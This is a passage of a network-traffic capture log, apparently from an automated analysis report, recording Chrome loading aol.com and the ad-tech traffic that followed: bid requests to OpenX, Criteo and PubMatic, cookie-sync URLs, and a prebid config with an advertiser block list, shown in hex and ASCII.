57f{"id":"b58c96d78430bc9eb03dd5de75e96f58","bidList":[],"ext":{"csUrl":[{"type":"image","url":"https://cs.media.net/cksync.php?cs=8"},{"type":"image","url":"https://x.bidswitch.net/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1"},{"type":"image","url
2024-05-23 22:34:52 UTC	803	IN	Data Raw: 25 32 36 74 79 70 65 25 33 44 64 78 75 25 32 36 6f 76 73 69 64 25 33 44 5f 77 66 69 76 65 66 69 76 65 63 5f 22 7d 2c 7b 22 74 79 70 65 22 3a 22 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 63 6d 3f 69 64 3d 37 38 65 32 64 66 66 63 2d 62 62 38 39 2d 34 62 62 32 2d 61 65 39 32 2d 66 35 39 32 64 30 30 36 35 31 38 62 26 70 68 3d 36 61 31 36 35 36 30 61 2d 66 36 63 36 2d 34 38 35 31 2d 62 37 62 35 2d 30 62 32 63 30 31 39 30 31 36 36 61 26 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 73 2e 6d 65 64 69 61 2e 6e 65 74 25 32 46 63 6b 73 79 6e 63 2e 68 74 6d 6c 25 33 46 63 73 25 33 44 38 25 32 36 74 79 70 65 25 33 44 6f 70 78 22 7d 2c 7b 22 74 79 70 65 22 3a 22 69 66 72 61 6d Data Ascii: %26type%3Ddxu%26ovsid%3D_wfivefivec_"},{"type":"image","url":"https://us-u.openx.net/w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcs.media.net%2Fcksync.html%3Fcs%3D8%26type%3Dopx"},{"type":"ifram

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.6	49921	35.186.253.211	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	599	OUT	POST /openrtbb/prebidjs HTTP/1.1 Host: rtb.openx.net Connection: keep-alive Content-Length: 1796 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1796	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 6e 75 6c 6c 2c 22 73 74 6f 72 65 64 72 65 71 75 65 73 74 22 3a 7b 22 69 64 22 3a 22 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 61 73 5f 74 6f 70 5f 72 69 67 68 74 5f 63 22 7d 7d 2c 22 64 61 74 61 22 3a 7b 7d 2c 22 64 69 76 69 64 22 3a 22 4d 4f 4e 5f 74 6f 70 5f 72 69 67 68 74 5f 30 22 7d 2c 22 69 64 22 3a 22 35 32 33 62 31 34 30 65 38 62 66 34 39 65 66 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 74 6f 70 66 72 61 6d 65 22 3a 31 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 5d 2c 22 70 6f 73 22 3a 33 7d 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 31 2e 34 31 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 Data Ascii: {"imp":[{"ext":{"prebid":{"passthrough":null,"storedrequest":{"id":"us_aol_hp_dt_as_top_right_c"}},"data":{},"divid":"MON_top_right_0"},"id":"523b140e8bf49ef","banner":{"topframe":1,"format":[{"w":300,"h":600}],"pos":3},"bidfloor":1.41,"bidfloorcur":"USD"
2024-05-23 22:34:52 UTC	433	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.aol.com Content-Type: text/plain Set-Cookie: receive-cookie-deprecation=1; Max-Age=31536000; Secure; HttpOnly; Domain=.openx.net; Path=/; SameSite=None; Partitioned; Vary: Origin Date: Thu, 23 May 2024 22:34:52 GMT Content-Length: 53 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:52 UTC	53	IN	Data Raw: 7b 22 69 64 22 3a 22 38 61 39 62 32 62 31 64 2d 37 32 38 35 2d 34 37 36 30 2d 38 34 34 61 2d 61 37 39 65 36 61 63 33 33 61 64 33 22 2c 22 6e 62 72 22 3a 30 7d Data Ascii: {"id":"8a9b2b1d-7285-4760-844a-a79e6ac33ad3","nbr":0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.6	49914	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	584	OUT	GET /eh/prebid-config/bp-aol.json HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1023	IN	HTTP/1.1 200 OK x-amz-id-2: S0q9CJFtl1Ffd5/1GMk8HuTpgs3XybtbmG1RRU6TU5sohclAF7IfsDVcnq3vkdNwQoywPY7vuxB7wR3mmweiqbuPTq7wA8BxPqPq4g9L4lk= x-amz-request-id: FKCKK4YKS3YYKJF3 Date: Thu, 23 May 2024 22:30:44 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: Access-Control-Allow-Origin Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Last-Modified: Mon, 20 May 2024 23:30:20 GMT ETag: "5ecaca0f2f2144bd8f8b20581abc70d1" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=300 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 92242 Referrer-Policy: no-referrer-when-downgrade Age: 249 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 62 72 61 6e 64 50 72 6f 74 65 63 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 62 61 64 76 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 31 31 31 2e 63 6f 6d 2e 74 77 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 39 36 32 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 6b 65 79 67 6f 75 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 30 32 30 75 70 74 6f 2e 75 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 31 73 74 63 65 6e 74 75 72 79 73 6d 6f 6b 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 33 36 33 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 Data Ascii: { "brandProtection": { "badv": { "1111.com.tw": true, "1962pac.com": true, "1keygou.com": true, "2020upto.us": true, "21stcenturysmoke.com": true, "2363.org": true,
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 6c 6f 6f 64 73 75 67 61 72 6f 70 74 69 6f 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 6f 75 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 72 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 72 61 6d 73 66 6f 72 73 74 61 74 65 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 73 65 6e 74 65 65 73 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 77 74 2d 70 66 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 65 62 61 72 72 79 2e 63 6f 6d Data Ascii: om": true, "abloodsugaroption.com": true, "about.com": true, "abra.com": true, "abramsforstatesenate.com": true, "absenteesc.com": true, "abwt-pf.org": true, "acebarry.com
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 64 75 6c 74 66 72 69 65 6e 64 66 69 6e 64 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6d 65 64 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 61 75 73 74 72 61 6c 69 61 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 64 65 6e 65 72 67 79 75 6e 69 74 65 64 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 6d 69 6e 6e 65 73 6f 74 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 69 6e 67 64 65 6e 76 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 65 72 74 Data Ascii: dultfriendfinder.com": true, "advamed.org": true, "advanceaustralia.org.au": true, "advancedenergyunited.org": true, "advanceminnesota.com": true, "advancingdenver.com": true, "advert
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 65 67 72 61 73 70 65 6e 64 65 72 2e 63 6f 6d 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 66 6f 72 6a 75 73 74 69 63 65 2e 63 6f 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 66 6f 72 6e 65 77 74 6f 77 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 69 61 6e 63 65 34 65 6e 65 72 67 79 73 65 63 75 72 69 74 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 69 61 6e 63 65 66 6f 72 63 6f 6d 6d 6f 6e 73 65 6e 73 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 70 72 6f 6d 6f 63 6c 75 62 2e 63 6f 6d 22 3a 20 74 72 75 Data Ascii: e, "allegraspender.com.au": true, "allforjustice.co": true, "allfornewtown.com": true, "alliance4energysecurity.com": true, "allianceforcommonsense.com": true, "allpromoclub.com": tru
2024-05-23 22:34:52 UTC	1066	IN	Data Raw: 72 69 63 61 6e 70 61 74 72 69 6f 74 70 61 63 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 6e 70 72 6f 67 72 65 73 73 61 63 74 69 6f 6e 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 6e 73 66 6f 72 70 72 6f 73 70 65 72 69 74 79 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 72 65 73 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 77 6f 72 6b 73 75 73 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 67 72 65 61 74 6e 65 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 69 65 Data Ascii: ricanpatriotpac.org": true, "americanprogressaction.org": true, "americansforprosperity.org": true, "americares.org": true, "americaworksusa.org": true, "amgreatness.com": true, "amie
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 6e 65 68 75 67 68 65 73 70 72 6f 61 63 74 69 76 65 63 74 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 6e 65 73 73 61 66 6f 72 6f 72 65 67 6f 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 6e 66 6f 72 32 37 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 6e 72 6f 65 66 6f 72 63 6f 6e 67 72 65 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 68 6f 6e 79 62 72 6f 77 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 68 6f 6e 79 68 61 72 74 73 6f 6f 6b 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 Data Ascii: true, "annehughesproactivect.org": true, "annessafororegon.com": true, "annfor27.org": true, "annroeforcongress.com": true, "anthonybrown.com": true, "anthonyhartsook.com": true,
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 20 20 20 20 22 61 73 70 69 72 61 6e 74 75 72 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 73 74 72 6f 6e 61 76 74 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 73 74 72 6f 6e 67 65 72 6e 65 77 6d 65 78 69 63 6f 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 73 75 2e 61 73 6e 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 68 6c 65 74 69 63 62 61 7a 61 61 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 6c 61 6e 74 69 63 73 68 6f 72 65 73 77 69 6e 64 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 6c 61 6e 74 69 73 65 76 65 6e 74 73 2e 63 6f 6d 22 Data Ascii: "aspiranturi.ru": true, "astronavti.ru": true, "astrongernewmexico.com": true, "asu.asn.au": true, "athleticbazaar.com": true, "atlanticshoreswind.com": true, "atlantisevents.com"
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 66 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 7a 73 6f 73 2e 67 6f 76 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 62 6c 6f 73 69 6b 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 62 79 6f 6c 69 76 69 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 64 67 65 72 6d 61 70 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 6b 6b 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 6c 61 6e 64 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 6d 61 7a 6f 6e 75 6e 69 6f 6e 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 Data Ascii: f.com": true, "azsos.gov": true, "bablosiki.ru": true, "babyolivia.com": true, "badgermaps.com": true, "bakkt.com": true, "balandi.ru": true, "bamazonunion.org": true,
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 22 62 65 73 74 6f 66 61 6d 65 72 69 63 61 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 6f 6f 72 6f 75 72 6b 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 73 74 61 72 73 6e 6a 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 74 65 72 6d 65 6e 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 74 65 72 74 6f 6d 6f 72 72 6f 77 69 6e 61 6d 65 72 69 63 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 74 65 72 77 69 74 68 6a 61 6e 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 75 6b 2e 63 6f Data Ascii: "bestofamericapac.com": true, "betoorourke.com": true, "betstarsnj.com": true, "betterment.com": true, "bettertomorrowinamerica.com": true, "betterwithjane.com": true, "betuk.co
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 22 62 6f 62 62 72 6f 77 6e 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 62 6d 65 6e 7a 65 6c 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 67 6f 74 61 72 65 64 73 74 6f 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 6c 64 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 6e 64 61 67 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 70 73 61 69 6f 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 6f 78 2d 70 72 6f 66 69 74 73 Data Ascii: "bobbrown.org.au": true, "bobmenzel.com": true, "bogotaredston.com": true, "boldpac.com": true, "bondage.com": true, "booking.com": true, "bopsaio.com": true, "box-profits

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.6	49923	178.250.1.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	644	OUT	POST /cdb?profileId=207&av=36&wv=8.37.0&cb=30675509601&lsavail=0 HTTP/1.1 Host: bidder.criteo.com Connection: keep-alive Content-Length: 1903 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1903	OUT	Data Raw: 7b 22 69 64 22 3a 22 66 33 38 65 31 34 35 61 2d 61 64 36 31 2d 34 61 31 39 2d 61 33 37 38 2d 30 32 66 36 36 66 38 65 64 35 38 39 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 2c 22 6e 65 74 77 6f 72 6b 69 64 22 3a 22 31 32 31 33 31 22 7d 2c 22 72 65 67 73 22 3a 7b 22 65 78 74 22 3a 7b 22 67 64 70 72 22 3a 30 2c 22 75 73 5f 70 72 69 76 61 63 79 22 3a 22 31 59 4e 4e 22 7d 2c 22 67 70 70 5f 73 69 64 22 3a 5b 2d 31 5d 2c 22 67 70 70 22 3a 22 44 42 41 41 22 7d 2c 22 73 6c 6f 74 73 22 3a 5b 7b 22 73 6c 6f 74 69 64 22 3a 22 32 37 35 33 32 66 31 64 62 34 34 39 64 66 31 22 2c 22 69 6d 70 69 64 22 3a 22 4d 4f 4e 5f 74 6f 70 5f 72 69 67 68 74 5f 30 22 2c 22 65 78 74 22 3a 7b 22 70 72 Data Ascii: {"id":"f38e145a-ad61-4a19-a378-02f66f8ed589","publisher":{"url":"https://www.aol.com/","networkid":"12131"},"regs":{"ext":{"gdpr":0,"us_privacy":"1YNN"},"gpp_sid":[-1],"gpp":"DBAA"},"slots":[{"slotid":"27532f1db449df1","impid":"MON_top_right_0","ext":{"pr
2024-05-23 22:34:52 UTC	303	IN	HTTP/1.1 204 No Content date: Thu, 23 May 2024 22:34:52 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-origin: https://www.aol.com vary: Origin cross-origin-resource-policy: cross-origin strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.6	49917	185.64.189.112	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	622	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 1383 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1383	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 31 36 35 30 33 36 39 31 30 35 32 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 37 35 64 30 62 64 32 32 33 30 61 62 63 61 22 2c 22 74 61 67 69 64 22 3a 22 35 35 33 37 33 30 30 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 31 2e 34 31 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 7d 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 2c 22 70 6f 73 22 3a 30 2c 22 74 6f 70 66 72 61 6d 65 22 3a 31 7d 7d 2c 7b 22 69 64 22 3a 22 38 63 30 62 34 30 66 63 34 32 38 30 64 34 22 2c 22 74 61 67 69 64 22 3a 22 35 35 33 37 32 39 38 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 36 37 2c 22 73 Data Ascii: {"id":"1716503691052","at":1,"cur":["USD"],"imp":[{"id":"75d0bd2230abca","tagid":"5537300","bidfloor":1.41,"secure":1,"ext":{},"bidfloorcur":"USD","banner":{"w":300,"h":600,"pos":0,"topframe":1}},{"id":"8c0b40fc4280d4","tagid":"5537298","bidfloor":0.67,"s
2024-05-23 22:34:52 UTC	225	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.aol.com Cache-Control: no-cache, no-store, must-revalidate Date: Thu, 23 May 2024 22:34:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.6	49912	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	933	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLxlO0KLuFo3kg6l2bdZZRg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190308%2F500x500%2Froyals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d9246a23914252ddf4d21b2b0e20b22948ac78f2 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500370 Cache-Control: public, max-age=2592000 Cache-Tag: 241830782884660845303347807049510316187,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21929-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:52 GMT Edge-Cache-Tag: 241830782884660845303347807049510316187,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "cad98ac32ee9d716fd419ca010db952e" Expiration: expiry-date="Mon, 29 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 30 Jan 2024 16:52:08 GMT Server: ECAcc (lhd/35BD) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1884,owidth=50,oheight=50,obytes=1970,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711411322.470105,VS0,VE2 Content-Length: 1884 Connection: close
